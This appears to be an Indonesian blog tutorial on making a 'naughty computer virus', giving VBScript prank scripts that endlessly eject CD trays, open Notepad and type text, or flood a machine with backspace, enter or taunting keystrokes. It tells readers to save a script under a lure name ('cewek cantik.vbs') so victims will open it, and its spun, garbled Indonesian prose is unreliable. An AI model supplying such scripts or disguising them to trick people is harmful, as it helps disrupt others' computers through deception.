Cara Menciptakan Virus Komputer Nakal

Cara Membuat Virus Komputer Nakal Mematikan - Setiap orang yang memiliki komputer atau laptop niscaya mengetahui yang namanya virus komputer ! virus komputer sanggup merusak bahkan menghapus semua file dan merusak sistem komputer, virus komputer menyalin atau menjiplak diri dengan cara menyisipkan ke dalam jadwal atau dokumen

ok,daripada teman-teman tidak sabar lagi untuk menciptakan virus dengan notepad pribadi saja yuk ikuti tutorialnya di bawah ini :

Buka notepad kemudian masukan arahan di bawah ini :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

kemudian simpan dengan nama cewek cantik.vbs atau namanya terserah anda, salakan di beri ekstensinya .vbs dan klik filenya 2 x.Virus tersebut sanggup Membuat CD/DVD ROM akan terbuka/tertutup secara otomatis tanpa berhenti

Kode vbs yang ke dua

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop

arahan tersebut sanggup membuka notepad otomatis dan menulis Halo. apa kabar? kabar baik? pada notepad
untuk caranya sama menyerupai di atas



Menekan backspace secara otomatis dan berulang-ulang

MsgBox "Selamat Anda Tertipu!"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop

Menekan enter secara otomatis dan berulang-ulang

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys " (enter)"
loop

Mengetik Kamu Kok Gila Banget ya ! secara otomatis dan berulang-ulang

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu Kok Gila Banget ya !"
loop